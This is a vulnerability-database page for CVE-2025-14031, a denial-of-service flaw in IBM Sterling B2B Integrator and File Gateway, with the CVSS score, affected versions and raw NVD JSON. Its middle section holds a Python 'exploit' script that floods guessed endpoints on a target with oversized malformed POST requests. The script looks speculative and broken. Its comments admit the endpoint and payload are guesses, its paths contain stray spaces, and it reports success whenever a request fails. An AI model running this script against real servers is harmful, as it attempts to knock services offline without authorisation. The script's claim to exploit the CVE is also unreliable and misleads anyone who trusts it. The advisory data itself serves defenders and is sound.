Security Vulnerability Report
中文
CVE-2025-14031 CVSS 7.5 HIGH

CVE-2025-14031

Published: 2026-03-17 23:16:16
Last Modified: 2026-03-19 14:20:16

Description

IBM Sterling B2B Integrator and and IBM Sterling File Gateway 6.1.0.0 through 6.1.2.7_2, 6.2.0.0 through 6.2.0.5_1, 6.2.1.0 through 6.2.1.1_1, and 6.2.2.0 could allow an unauthenticated attacker to send a specially crafted request that causes the application to crash.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:sterling_b2b_integrator:6.2.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:* - VULNERABLE
IBM Sterling B2B Integrator 6.1.0.0 - 6.1.2.7_2
IBM Sterling B2B Integrator 6.2.0.0 - 6.2.0.5_1
IBM Sterling B2B Integrator 6.2.1.0 - 6.2.1.1_1
IBM Sterling B2B Integrator 6.2.2.0
IBM Sterling File Gateway 6.1.0.0 - 6.1.2.7_2
IBM Sterling File Gateway 6.2.0.0 - 6.2.0.5_1
IBM Sterling File Gateway 6.2.1.0 - 6.2.1.1_1
IBM Sterling File Gateway 6.2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14031 PoC - Denial of Service # Target: IBM Sterling B2B Integrator / Sterling File Gateway # Vulnerability: Unauthenticated specially crafted request causes crash import requests import sys def exploit_cve_2025_14031(target_url): """ Proof of Concept for CVE-2025-14031 This PoC demonstrates sending a specially crafted request that may cause the application to crash due to improper input handling. """ # Target endpoint (adjust based on actual vulnerable endpoint) endpoints = [ "/ SterlingB2B /", "/ SterlingFileGateway /", "/ sfi /", "/ b2b /" ] # Crafted payload designed to trigger the vulnerability # The exact payload structure may vary based on the vulnerable component headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-14031-PoC)", "X-Requested-With": "XMLHttpRequest" } # Malformed request payload payload = { "data": "A" * 10000 + "\x00" + "\xff" * 500, "action": "submit", "session": "" * 1000 } print(f"[*] Targeting: {target_url}") print(f"[*] Sending crafted request for CVE-2025-14031...") try: for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {url}") response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print(f"[+] Vulnerability may be present - service did not respond properly") print("[*] PoC execution completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14031-poc.py <target_url>") print("Example: python cve-2025-14031-poc.py http://target:8443") sys.exit(1) target = sys.argv[1] exploit_cve_2025_14031(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14031", "sourceIdentifier": "[email protected]", "published": "2026-03-17T23:16:15.863", "lastModified": "2026-03-19T14:20:15.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling B2B Integrator and and IBM Sterling File Gateway 6.1.0.0 through 6.1.2.7_2, 6.2.0.0 through 6.2.0.5_1, 6.2.1.0 through 6.2.1.1_1, and 6.2.2.0 could allow an unauthenticated attacker to send a specially crafted request that causes the application to crash."}, {"lang": "es", "value": "IBM Sterling B2B Integrator e IBM Sterling File Gateway 6.1.0.0 hasta 6.1.2.7_2, 6.2.0.0 hasta 6.2.0.5_1, 6.2.1.0 hasta 6.2.1.1_1, y 6.2.2.0 podrían permitir a un atacante no autenticado enviar una solicitud especialmente diseñada que provoca que la aplicación se bloquee."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.0", "versionEndExcluding": "6.1.2.8", "matchCriteriaId": "CF5BFBAA-B7B6-43FC-893D-F62E8AC28673"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0.0", "versionEndExcluding": "6.2.0.5_2", "matchCriteriaId": "0F026F01-EF66-4E43-A081-F1B2C7C87904"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.1.0", "versionEndExcluding": "6.2.1.1_2", "matchCriteriaId": "0D31014C-F7D8-4B69-AB89-2A6AEAB7B667"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:6.2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E8CC6F03-A96D-4D0F-A846-890006E405A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.0", "versionEndExcluding": "6.1.2.8", "matchCriteriaId": "00C60634-AE0C-4641-B645-0D0511A0070C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0.0", "versionEndExcluding": "6.2.0.5_2", "matchCriteriaId": "98CB35E7-789A-44B3-86E3-6F2A0CE56D4F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.1.0", "versionEndExcluding": "6.2.1.1_2", "matchCriteriaId": "4AD23AED-25F6-45AB-93DD-FC1864431290"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:6.2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "C2813946-2022-4789-9285-25E576E49609"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7266520", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}